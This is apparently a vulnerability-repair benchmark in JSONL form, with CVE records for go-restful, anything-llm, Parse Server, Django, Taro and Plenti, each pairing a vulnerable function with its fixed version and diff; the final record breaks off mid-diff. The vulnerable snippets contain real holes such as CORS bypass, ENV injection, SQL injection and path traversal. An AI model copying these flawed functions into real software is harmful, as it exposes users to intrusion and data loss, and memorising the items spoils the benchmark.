{"cve_id": "CVE-2022-1996", "cve_description": "Authorization Bypass Through User-Controlled Key in GitHub repository emicklei/go-restful prior to v3.8.0.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/emicklei/go-restful", "patch_url": ["https://github.com/emicklei/go-restful/commit/fd3c327a379ce08c68ef18765bdc925f5d9bad10", "https://github.com/emicklei/go-restful/commit/926662532deb450272956c7bc573978464aae74e", "https://github.com/emicklei/go-restful/commit/f292efff46ae17e9d104f865a60a39a2ae9402f1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_279_1", "commit": "c2c010a8bf168730835fc945ba2f2d01bc764fe2", "file_path": "cors_filter.go", "start_line": 118, "end_line": 152, "snippet": "func (c CrossOriginResourceSharing) isOriginAllowed(origin string) bool {\n\tif len(origin) == 0 {\n\t\treturn false\n\t}\n\tif len(c.AllowedDomains) == 0 {\n\t\treturn true\n\t}\n\n\tallowed := false\n\tfor _, domain := range c.AllowedDomains {\n\t\tif domain == origin {\n\t\t\tallowed = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !allowed {\n\t\tif len(c.allowedOriginPatterns) == 0 {\n\t\t\t// compile allowed domains to allowed origin patterns\n\t\t\tallowedOriginRegexps, err := compileRegexps(c.AllowedDomains)\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tc.allowedOriginPatterns = allowedOriginRegexps\n\t\t}\n\n\t\tfor _, pattern := range c.allowedOriginPatterns {\n\t\t\tif allowed = pattern.MatchString(origin); allowed {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn allowed\n}"}], "fix_func": [{"id": "fix_go_279_1", "commit": "fd3c327a379ce08c68ef18765bdc925f5d9bad10", "file_path": "cors_filter.go", "start_line": 131, "end_line": 153, "snippet": "func (c CrossOriginResourceSharing) isOriginAllowed(origin string) bool {\n\tif len(origin) == 0 {\n\t\treturn false\n\t}\n\tlowerOrigin := strings.ToLower(origin)\n\tif len(c.AllowedDomains) == 0 {\n\t\tif c.AllowedDomainFunc != nil {\n\t\t\treturn c.AllowedDomainFunc(lowerOrigin)\n\t\t}\n\t\treturn true\n\t}\n\n\t// exact match on each allowed domain\n\tfor _, domain := range c.AllowedDomains {\n\t\tif domain == \".*\" || strings.ToLower(domain) == lowerOrigin {\n\t\t\treturn true\n\t\t}\n\t}\n\tif c.AllowedDomainFunc != nil {\n\t\treturn c.AllowedDomainFunc(origin)\n\t}\n\treturn false\n}"}], "vul_patch": "--- a/cors_filter.go\n+++ b/cors_filter.go\n@@ -2,34 +2,22 @@\n \tif len(origin) == 0 {\n \t\treturn false\n \t}\n+\tlowerOrigin := strings.ToLower(origin)\n \tif len(c.AllowedDomains) == 0 {\n+\t\tif c.AllowedDomainFunc != nil {\n+\t\t\treturn c.AllowedDomainFunc(lowerOrigin)\n+\t\t}\n \t\treturn true\n \t}\n \n-\tallowed := false\n+\t// exact match on each allowed domain\n \tfor _, domain := range c.AllowedDomains {\n-\t\tif domain == origin {\n-\t\t\tallowed = true\n-\t\t\tbreak\n+\t\tif domain == \".*\" || strings.ToLower(domain) == lowerOrigin {\n+\t\t\treturn true\n \t\t}\n \t}\n-\n-\tif !allowed {\n-\t\tif len(c.allowedOriginPatterns) == 0 {\n-\t\t\t// compile allowed domains to allowed origin patterns\n-\t\t\tallowedOriginRegexps, err := compileRegexps(c.AllowedDomains)\n-\t\t\tif err != nil {\n-\t\t\t\treturn false\n-\t\t\t}\n-\t\t\tc.allowedOriginPatterns = allowedOriginRegexps\n-\t\t}\n-\n-\t\tfor _, pattern := range c.allowedOriginPatterns {\n-\t\t\tif allowed = pattern.MatchString(origin); allowed {\n-\t\t\t\tbreak\n-\t\t\t}\n-\t\t}\n+\tif c.AllowedDomainFunc != nil {\n+\t\treturn c.AllowedDomainFunc(origin)\n \t}\n-\n-\treturn allowed\n+\treturn false\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-3104", "cve_description": "A remote code execution vulnerability exists in mintplex-labs/anything-llm due to improper handling of environment variables. Attackers can exploit this vulnerability by injecting arbitrary environment variables via the `POST /api/system/update-env` endpoint, which allows for the execution of arbitrary code on the host running anything-llm. The vulnerability is present in the latest version of anything-llm, with the latest commit identified as fde905aac1812b84066ff72e5f2f90b56d4c3a59. This issue has been fixed in version 1.0.0. Successful exploitation could lead to code execution on the host, enabling attackers to read and modify data accessible to the user running the service, potentially leading to a denial of service. ", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/bfedfebfab032e6f4d5a369c8a2f947c5d0c5286"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_151_1", "commit": "2374939", "file_path": "server/utils/helpers/updateENV.js", "start_line": 542, "end_line": 583, "snippet": "async function dumpENV() {\n  const fs = require(\"fs\");\n  const path = require(\"path\");\n\n  const frozenEnvs = {};\n  const protectedKeys = [\n    ...Object.values(KEY_MAPPING).map((values) => values.envKey),\n    \"STORAGE_DIR\",\n    \"SERVER_PORT\",\n    // Password Schema Keys if present.\n    \"PASSWORDMINCHAR\",\n    \"PASSWORDMAXCHAR\",\n    \"PASSWORDLOWERCASE\",\n    \"PASSWORDUPPERCASE\",\n    \"PASSWORDNUMERIC\",\n    \"PASSWORDSYMBOL\",\n    \"PASSWORDREQUIREMENTS\",\n    // HTTPS SETUP KEYS\n    \"ENABLE_HTTPS\",\n    \"HTTPS_CERT_PATH\",\n    \"HTTPS_KEY_PATH\",\n    // DISABLED TELEMETRY\n    \"DISABLE_TELEMETRY\",\n  ];\n\n  for (const key of protectedKeys) {\n    const envValue = process.env?.[key] || null;\n    if (!envValue) continue;\n    frozenEnvs[key] = process.env?.[key] || null;\n  }\n\n  var envResult = `# Auto-dump ENV from system call on ${new Date().toTimeString()}\\n`;\n  envResult += Object.entries(frozenEnvs)\n    .map(([key, value]) => {\n      return `${key}='${value}'`;\n    })\n    .join(\"\\n\");\n\n  const envPath = path.join(__dirname, \"../../.env\");\n  fs.writeFileSync(envPath, envResult, { encoding: \"utf8\", flag: \"w\" });\n  return true;\n}"}], "fix_func": [{"id": "fix_js_151_1", "commit": "bfedfeb", "file_path": "server/utils/helpers/updateENV.js", "start_line": 542, "end_line": 591, "snippet": "async function dumpENV() {\n  const fs = require(\"fs\");\n  const path = require(\"path\");\n\n  const frozenEnvs = {};\n  const protectedKeys = [\n    ...Object.values(KEY_MAPPING).map((values) => values.envKey),\n    \"STORAGE_DIR\",\n    \"SERVER_PORT\",\n    // Password Schema Keys if present.\n    \"PASSWORDMINCHAR\",\n    \"PASSWORDMAXCHAR\",\n    \"PASSWORDLOWERCASE\",\n    \"PASSWORDUPPERCASE\",\n    \"PASSWORDNUMERIC\",\n    \"PASSWORDSYMBOL\",\n    \"PASSWORDREQUIREMENTS\",\n    // HTTPS SETUP KEYS\n    \"ENABLE_HTTPS\",\n    \"HTTPS_CERT_PATH\",\n    \"HTTPS_KEY_PATH\",\n    // DISABLED TELEMETRY\n    \"DISABLE_TELEMETRY\",\n  ];\n\n  // Simple sanitization of each value to prevent ENV injection via newline or quote escaping.\n  function sanitizeValue(value) {\n    const offendingChars =\n      /[\\n\\r\\t\\v\\f\\u0085\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\"'`#]/;\n    const firstOffendingCharIndex = value.search(offendingChars);\n    if (firstOffendingCharIndex === -1) return value;\n\n    return value.substring(0, firstOffendingCharIndex);\n  }\n\n  for (const key of protectedKeys) {\n    const envValue = process.env?.[key] || null;\n    if (!envValue) continue;\n    frozenEnvs[key] = process.env?.[key] || null;\n  }\n\n  var envResult = `# Auto-dump ENV from system call on ${new Date().toTimeString()}\\n`;\n  envResult += Object.entries(frozenEnvs)\n    .map(([key, value]) => `${key}='${sanitizeValue(value)}'`)\n    .join(\"\\n\");\n\n  const envPath = path.join(__dirname, \"../../.env\");\n  fs.writeFileSync(envPath, envResult, { encoding: \"utf8\", flag: \"w\" });\n  return true;\n}"}], "vul_patch": "--- a/server/utils/helpers/updateENV.js\n+++ b/server/utils/helpers/updateENV.js\n@@ -23,6 +23,16 @@\n     \"DISABLE_TELEMETRY\",\n   ];\n \n+  // Simple sanitization of each value to prevent ENV injection via newline or quote escaping.\n+  function sanitizeValue(value) {\n+    const offendingChars =\n+      /[\\n\\r\\t\\v\\f\\u0085\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\"'`#]/;\n+    const firstOffendingCharIndex = value.search(offendingChars);\n+    if (firstOffendingCharIndex === -1) return value;\n+\n+    return value.substring(0, firstOffendingCharIndex);\n+  }\n+\n   for (const key of protectedKeys) {\n     const envValue = process.env?.[key] || null;\n     if (!envValue) continue;\n@@ -31,9 +41,7 @@\n \n   var envResult = `# Auto-dump ENV from system call on ${new Date().toTimeString()}\\n`;\n   envResult += Object.entries(frozenEnvs)\n-    .map(([key, value]) => {\n-      return `${key}='${value}'`;\n-    })\n+    .map(([key, value]) => `${key}='${sanitizeValue(value)}'`)\n     .join(\"\\n\");\n \n   const envPath = path.join(__dirname, \"../../.env\");\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26288", "cve_description": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. It is an npm package \"parse-server\". In Parse Server before version 4.5.0, user passwords involved in LDAP authentication are stored in cleartext. This is fixed in version 4.5.0 by stripping password after authentication to prevent cleartext password storage.", "cwe_info": {"CWE-312": {"name": "Cleartext Storage of Sensitive Information", "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."}}, "repo": "https://github.com/parse-community/parse-server", "patch_url": ["https://github.com/parse-community/parse-server/commit/da905a357d062ab4fea727a21eac231acc2ed92a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_99_1", "commit": "4dee0bc", "file_path": "src/Adapters/Auth/ldap.js", "start_line": "4", "end_line": "55", "snippet": "function validateAuthData(authData, options) {\n  if (!optionsAreValid(options)) {\n    return new Promise((_, reject) => {\n      reject(\n        new Parse.Error(\n          Parse.Error.INTERNAL_SERVER_ERROR,\n          'LDAP auth configuration missing'\n        )\n      );\n    });\n  }\n  const clientOptions = (options.url.startsWith(\"ldaps://\")) ?\n    { url: options.url, tlsOptions: options.tlsOptions } : { url: options.url };\n\n  const client = ldapjs.createClient(clientOptions);\n  const userCn =\n    typeof options.dn === 'string'\n      ? options.dn.replace('{{id}}', authData.id)\n      : `uid=${authData.id},${options.suffix}`;\n\n  return new Promise((resolve, reject) => {\n    client.bind(userCn, authData.password, ldapError => {\n      if (ldapError) {\n        let error;\n        switch (ldapError.code) {\n          case 49:\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAP: Wrong username or password');\n            break;\n          case \"DEPTH_ZERO_SELF_SIGNED_CERT\":\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAPS: Certificate mismatch');\n            break;\n          default:\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAP: Somthing went wrong (' + ldapError.code + ')');\n        }\n        reject(error);\n        client.destroy(ldapError);\n        return;\n      }\n\n      if (\n        typeof options.groupCn === 'string' &&\n        typeof options.groupFilter === 'string'\n      ) {\n        searchForGroup(client, options, authData.id, resolve, reject);\n      } else {\n        client.unbind();\n        client.destroy();\n        resolve();\n      }\n    });\n  });\n}"}], "fix_func": [{"id": "fix_js_99_1", "commit": "da905a3", "file_path": "src/Adapters/Auth/ldap.js", "start_line": "4", "end_line": "56", "snippet": "function validateAuthData(authData, options) {\n  if (!optionsAreValid(options)) {\n    return new Promise((_, reject) => {\n      reject(\n        new Parse.Error(\n          Parse.Error.INTERNAL_SERVER_ERROR,\n          'LDAP auth configuration missing'\n        )\n      );\n    });\n  }\n  const clientOptions = (options.url.startsWith(\"ldaps://\")) ?\n    { url: options.url, tlsOptions: options.tlsOptions } : { url: options.url };\n\n  const client = ldapjs.createClient(clientOptions);\n  const userCn =\n    typeof options.dn === 'string'\n      ? options.dn.replace('{{id}}', authData.id)\n      : `uid=${authData.id},${options.suffix}`;\n\n  return new Promise((resolve, reject) => {\n    client.bind(userCn, authData.password, ldapError => {\n      delete(authData.password);\n      if (ldapError) {\n        let error;\n        switch (ldapError.code) {\n          case 49:\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAP: Wrong username or password');\n            break;\n          case \"DEPTH_ZERO_SELF_SIGNED_CERT\":\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAPS: Certificate mismatch');\n            break;\n          default:\n            error = new Parse.Error(Parse.Error.OBJECT_NOT_FOUND, 'LDAP: Somthing went wrong (' + ldapError.code + ')');\n        }\n        reject(error);\n        client.destroy(ldapError);\n        return;\n      }\n\n      if (\n        typeof options.groupCn === 'string' &&\n        typeof options.groupFilter === 'string'\n      ) {\n        searchForGroup(client, options, authData.id, resolve, reject);\n      } else {\n        client.unbind();\n        client.destroy();\n        resolve();\n      }\n    });\n  });\n}"}], "vul_patch": "--- a/src/Adapters/Auth/ldap.js\n+++ b/src/Adapters/Auth/ldap.js\n@@ -20,6 +20,7 @@\n \n   return new Promise((resolve, reject) => {\n     client.bind(userCn, authData.password, ldapError => {\n+      delete(authData.password);\n       if (ldapError) {\n         let error;\n         switch (ldapError.code) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-42005", "cve_description": "An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. QuerySet.values() and values_list() methods on models with a JSONField are subject to SQL injection in column aliases via a crafted JSON object key as a passed *arg.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/f4af67b9b41e0f4c117a8741da3abbd1c869ab28", "https://github.com/django/django/commit/32ebcbf2e1fe3e5ba79a6554a167efce81f7422d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_1_1", "commit": "523da87", "file_path": "django/db/models/sql/query.py", "start_line": 2442, "end_line": 2502, "snippet": "    def set_values(self, fields):\n        self.select_related = False\n        self.clear_deferred_loading()\n        self.clear_select_fields()\n        self.has_select_fields = True\n\n        if fields:\n            field_names = []\n            extra_names = []\n            annotation_names = []\n            if not self.extra and not self.annotations:\n                # Shortcut - if there are no extra or annotations, then\n                # the values() clause must be just field names.\n                field_names = list(fields)\n            else:\n                self.default_cols = False\n                for f in fields:\n                    if f in self.extra_select:\n                        extra_names.append(f)\n                    elif f in self.annotation_select:\n                        annotation_names.append(f)\n                    elif f in self.annotations:\n                        raise FieldError(\n                            f\"Cannot select the '{f}' alias. Use annotate() to \"\n                            \"promote it.\"\n                        )\n                    else:\n                        # Call `names_to_path` to ensure a FieldError including\n                        # annotations about to be masked as valid choices if\n                        # `f` is not resolvable.\n                        if self.annotation_select:\n                            self.names_to_path(f.split(LOOKUP_SEP), self.model._meta)\n                        field_names.append(f)\n            self.set_extra_mask(extra_names)\n            self.set_annotation_mask(annotation_names)\n            selected = frozenset(field_names + extra_names + annotation_names)\n        else:\n            field_names = [f.attname for f in self.model._meta.concrete_fields]\n            selected = frozenset(field_names)\n        # Selected annotations must be known before setting the GROUP BY\n        # clause.\n        if self.group_by is True:\n            self.add_fields(\n                (f.attname for f in self.model._meta.concrete_fields), False\n            )\n            # Disable GROUP BY aliases to avoid orphaning references to the\n            # SELECT clause which is about to be cleared.\n            self.set_group_by(allow_aliases=False)\n            self.clear_select_fields()\n        elif self.group_by:\n            # Resolve GROUP BY annotation references if they are not part of\n            # the selected fields anymore.\n            group_by = []\n            for expr in self.group_by:\n                if isinstance(expr, Ref) and expr.refs not in selected:\n                    expr = self.annotations[expr.refs]\n                group_by.append(expr)\n            self.group_by = tuple(group_by)\n\n        self.values_select = tuple(field_names)\n        self.add_fields(field_names, True)"}], "fix_func": [{"id": "fix_py_1_1", "commit": "32ebcbf", "file_path": "django/db/models/sql/query.py", "start_line": 2442, "end_line": 2504, "snippet": "    def set_values(self, fields):\n        self.select_related = False\n        self.clear_deferred_loading()\n        self.clear_select_fields()\n        self.has_select_fields = True\n\n        if fields:\n            for field in fields:\n                self.check_alias(field)\n            field_names = []\n            extra_names = []\n            annotation_names = []\n            if not self.extra and not self.annotations:\n                # Shortcut - if there are no extra or annotations, then\n                # the values() clause must be just field names.\n                field_names = list(fields)\n            else:\n                self.default_cols = False\n                for f in fields:\n                    if f in self.extra_select:\n                        extra_names.append(f)\n                    elif f in self.annotation_select:\n                        annotation_names.append(f)\n                    elif f in self.annotations:\n                        raise FieldError(\n                            f\"Cannot select the '{f}' alias. Use annotate() to \"\n                            \"promote it.\"\n                        )\n                    else:\n                        # Call `names_to_path` to ensure a FieldError including\n                        # annotations about to be masked as valid choices if\n                        # `f` is not resolvable.\n                        if self.annotation_select:\n                            self.names_to_path(f.split(LOOKUP_SEP), self.model._meta)\n                        field_names.append(f)\n            self.set_extra_mask(extra_names)\n            self.set_annotation_mask(annotation_names)\n            selected = frozenset(field_names + extra_names + annotation_names)\n        else:\n            field_names = [f.attname for f in self.model._meta.concrete_fields]\n            selected = frozenset(field_names)\n        # Selected annotations must be known before setting the GROUP BY\n        # clause.\n        if self.group_by is True:\n            self.add_fields(\n                (f.attname for f in self.model._meta.concrete_fields), False\n            )\n            # Disable GROUP BY aliases to avoid orphaning references to the\n            # SELECT clause which is about to be cleared.\n            self.set_group_by(allow_aliases=False)\n            self.clear_select_fields()\n        elif self.group_by:\n            # Resolve GROUP BY annotation references if they are not part of\n            # the selected fields anymore.\n            group_by = []\n            for expr in self.group_by:\n                if isinstance(expr, Ref) and expr.refs not in selected:\n                    expr = self.annotations[expr.refs]\n                group_by.append(expr)\n            self.group_by = tuple(group_by)\n\n        self.values_select = tuple(field_names)\n        self.add_fields(field_names, True)"}], "vul_patch": "--- a/django/db/models/sql/query.py\n+++ b/django/db/models/sql/query.py\n@@ -5,6 +5,8 @@\n         self.has_select_fields = True\n \n         if fields:\n+            for field in fields:\n+                self.check_alias(field)\n             field_names = []\n             extra_names = []\n             annotation_names = []\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-42005:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-42005/bin/python ./runtests.py expressions.test_queryset_values.ValuesExpressionsTests.test_values_expression_alias_sql_injection_json_field\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-42005:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-42005/bin/python ./runtests.py expressions\n"}
{"cve_id": "CVE-2025-5896", "cve_description": "A vulnerability was found in tarojs taro up to 4.1.1. It has been declared as problematic. This vulnerability affects unknown code of the file taro/packages/css-to-react-native/src/index.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. Upgrading to version 4.1.2 is able to address this issue. The name of the patch is c2e321a8b6fc873427c466c69f41ed0b5e8814bf. It is recommended to upgrade the affected component.", "cwe_info": {"CWE-1333": {"name": "Inefficient Regular Expression Complexity", "description": "The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles."}}, "repo": "https://github.com/NervJS/taro", "patch_url": ["https://github.com/NervJS/taro/commit/c2e321a8b6fc873427c466c69f41ed0b5e8814bf"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_302_1", "commit": "490770c203fcf646e6d1310666a426dd270af923", "file_path": "packages/css-to-react-native/src/index.js", "start_line": 28, "end_line": 85, "snippet": "const transformDecls = (styles, declarations, result, options = {}) => {\n  for (const d in declarations) {\n    const declaration = declarations[d]\n    if (declaration.type !== 'declaration') continue\n\n    const property = declaration.property\n    let value = remToPx(declaration.value)\n\n    const isLengthUnit = lengthRe.test(value)\n    const isViewportUnit = viewportUnitRe.test(value)\n    const isPercent = percentRe.test(value)\n    const isUnsupportedUnit = unsupportedUnitRe.test(value)\n\n    if (\n      property === 'line-height' &&\n      !isLengthUnit &&\n      !isViewportUnit &&\n      !isPercent &&\n      !isUnsupportedUnit\n    ) {\n      // ignore invalid value avoid throw error cause app crash\n      continue\n    }\n\n    if (!result.__viewportUnits && isViewportUnit) {\n      result.__viewportUnits = true\n    }\n    // scalable option, when it is false, transform single value 'px' unit to 'PX'\n    // do not be wrapped by scalePx2dp function\n    if (\n      typeof options.scalable === 'boolean' &&\n      !options.scalable &&\n      /(\\d+)px/.test(value)\n    ) {\n      value = value.replace(/(\\d+)px/g, '$1PX')\n    }\n    // expect value is legal so that remove !import\n    if (/!import/i.test(value)) {\n      value = value.replace(/!import/, '')\n    }\n\n    if (shorthandBorderProps.indexOf(property) > -1) {\n      // transform single value shorthand border properties back to\n      // shorthand form to support styling `Image`.\n      const transformed = transformCSS([[property, value]])\n      const vals = values(transformed)\n      if (allEqual(vals)) {\n        const replacement = {}\n        replacement[camelCase(property)] = vals[0]\n        Object.assign(styles, replacement)\n      } else {\n        Object.assign(styles, transformed)\n      }\n    } else {\n      Object.assign(styles, transformCSS([[property, value]]))\n    }\n  }\n}"}], "fix_func": [{"id": "fix_js_302_1", "commit": "c2e321a8b6fc873427c466c69f41ed0b5e8814bf", "file_path": "packages/css-to-react-native/src/index.js", "start_line": 28, "end_line": 85, "snippet": "const transformDecls = (styles, declarations, result, options = {}) => {\n  for (const d in declarations) {\n    const declaration = declarations[d]\n    if (declaration.type !== 'declaration') continue\n\n    const property = declaration.property\n    let value = remToPx(declaration.value)\n\n    const isLengthUnit = lengthRe.test(value)\n    const isViewportUnit = viewportUnitRe.test(value)\n    const isPercent = percentRe.test(value)\n    const isUnsupportedUnit = unsupportedUnitRe.test(value)\n\n    if (\n      property === 'line-height' &&\n      !isLengthUnit &&\n      !isViewportUnit &&\n      !isPercent &&\n      !isUnsupportedUnit\n    ) {\n      // ignore invalid value avoid throw error cause app crash\n      continue\n    }\n\n    if (!result.__viewportUnits && isViewportUnit) {\n      result.__viewportUnits = true\n    }\n    // scalable option, when it is false, transform single value 'px' unit to 'PX'\n    // do not be wrapped by scalePx2dp function\n    if (\n      typeof options.scalable === 'boolean' &&\n      !options.scalable &&\n      /(?<!\\d)(\\d+)px/.test(value)\n    ) {\n      value = value.replace(/(?<!\\d)(\\d+)px/g, '$1PX')\n    }\n    // expect value is legal so that remove !import\n    if (/!import/i.test(value)) {\n      value = value.replace(/!import/, '')\n    }\n\n    if (shorthandBorderProps.indexOf(property) > -1) {\n      // transform single value shorthand border properties back to\n      // shorthand form to support styling `Image`.\n      const transformed = transformCSS([[property, value]])\n      const vals = values(transformed)\n      if (allEqual(vals)) {\n        const replacement = {}\n        replacement[camelCase(property)] = vals[0]\n        Object.assign(styles, replacement)\n      } else {\n        Object.assign(styles, transformed)\n      }\n    } else {\n      Object.assign(styles, transformCSS([[property, value]]))\n    }\n  }\n}"}, {"id": "fix_js_302_2", "commit": "c2e321a8b6fc873427c466c69f41ed0b5e8814bf", "file_path": "packages/css-to-react-native/src/transforms/rem.js", "start_line": 1, "end_line": 3, "snippet": "export const remToPx = value => {\n  return value.replace(/(?<!\\d)((?:\\d*\\.\\d+)|\\d+)rem/g, (match, m1) => parseFloat(m1, 10) * 16 + 'px')\n}"}], "vul_patch": "--- a/packages/css-to-react-native/src/index.js\n+++ b/packages/css-to-react-native/src/index.js\n@@ -30,9 +30,9 @@\n     if (\n       typeof options.scalable === 'boolean' &&\n       !options.scalable &&\n-      /(\\d+)px/.test(value)\n+      /(?<!\\d)(\\d+)px/.test(value)\n     ) {\n-      value = value.replace(/(\\d+)px/g, '$1PX')\n+      value = value.replace(/(?<!\\d)(\\d+)px/g, '$1PX')\n     }\n     // expect value is legal so that remove !import\n     if (/!import/i.test(value)) {\n\n--- /dev/null\n+++ b/packages/css-to-react-native/src/index.js\n@@ -0,0 +1,3 @@\n+export const remToPx = value => {\n+  return value.replace(/(?<!\\d)((?:\\d*\\.\\d+)|\\d+)rem/g, (match, m1) => parseFloat(m1, 10) * 16 + 'px')\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-49381", "cve_description": "Plenti, a static site generator, has an arbitrary file deletion vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write deletion when a plenti user serves their website. This issue may lead to information loss. Version 0.7.2 fixes the vulnerability.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/plentico/plenti", "patch_url": ["https://github.com/plentico/plenti/commit/081edfd776bb6f50da302e55f9b1d44da29f69f1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_107_1", "commit": "113f9c4", "file_path": "cmd/serve.go", "start_line": 205, "end_line": 244, "snippet": "func postLocal(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == \"POST\" {\n\t\tb, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not read 'body' from local edit: %v\", err)\n\t\t}\n\t\tvar localChanges []localChange\n\t\terr = json.Unmarshal(b, &localChanges)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not unmarshal JSON data: %v\", err)\n\t\t}\n\t\tvar contents []byte\n\t\tfor _, change := range localChanges {\n\t\t\tif change.Action == \"create\" || change.Action == \"update\" {\n\t\t\t\tcontents = []byte(change.Contents)\n\t\t\t\tif change.Encoding == \"base64\" {\n\t\t\t\t\tcontents, err = base64.StdEncoding.DecodeString(change.Contents)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Printf(\"Could not decode base64 asset: %v\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif len(change.File) > 0 && change.File[0:1] == \"/\" {\n\t\t\t\t\t// Make sure path is relative to project\n\t\t\t\t\tchange.File = \".\" + change.File\n\t\t\t\t}\n\t\t\t\terr = os.WriteFile(change.File, contents, os.ModePerm)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"Unable to write to local file: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif change.Action == \"delete\" {\n\t\t\t\tcurrentDir, _ := os.Getwd()\n\t\t\t\terr = os.Remove(filepath.Join(currentDir, change.File))\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"Unable to delete local file: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}"}], "fix_func": [{"id": "fix_go_107_1", "commit": "081edfd", "file_path": "cmd/serve.go", "start_line": 205, "end_line": 243, "snippet": "func postLocal(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == \"POST\" {\n\t\tb, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not read 'body' from local edit: %v\", err)\n\t\t}\n\t\tvar localChanges []localChange\n\t\terr = json.Unmarshal(b, &localChanges)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not unmarshal JSON data: %v\", err)\n\t\t}\n\t\tvar contents []byte\n\t\tcurrentDir, _ := os.Getwd()\n\t\tfor _, change := range localChanges {\n\t\t\tchange.File = filepath.Join(currentDir, filepath.Clean(\"/\"+change.File))\n\n\t\t\tif change.Action == \"create\" || change.Action == \"update\" {\n\t\t\t\tcontents = []byte(change.Contents)\n\t\t\t\tif change.Encoding == \"base64\" {\n\t\t\t\t\tcontents, err = base64.StdEncoding.DecodeString(change.Contents)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Printf(\"Could not decode base64 asset: %v\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\terr = os.WriteFile(change.File, contents, os.ModePerm)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"Unable to write to local file: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif change.Action == \"delete\" {\n\t\t\t\terr = os.Remove(change.File)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"Unable to delete local file: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/cmd/serve.go\n+++ b/cmd/serve.go\n@@ -10,7 +10,10 @@\n \t\t\tfmt.Printf(\"Could not unmarshal JSON data: %v\", err)\n \t\t}\n \t\tvar contents []byte\n+\t\tcurrentDir, _ := os.Getwd()\n \t\tfor _, change := range localChanges {\n+\t\t\tchange.File = filepath.Join(currentDir, filepath.Clean(\"/\"+change.File))\n+\n \t\t\tif change.Action == \"create\" || change.Action == \"update\" {\n 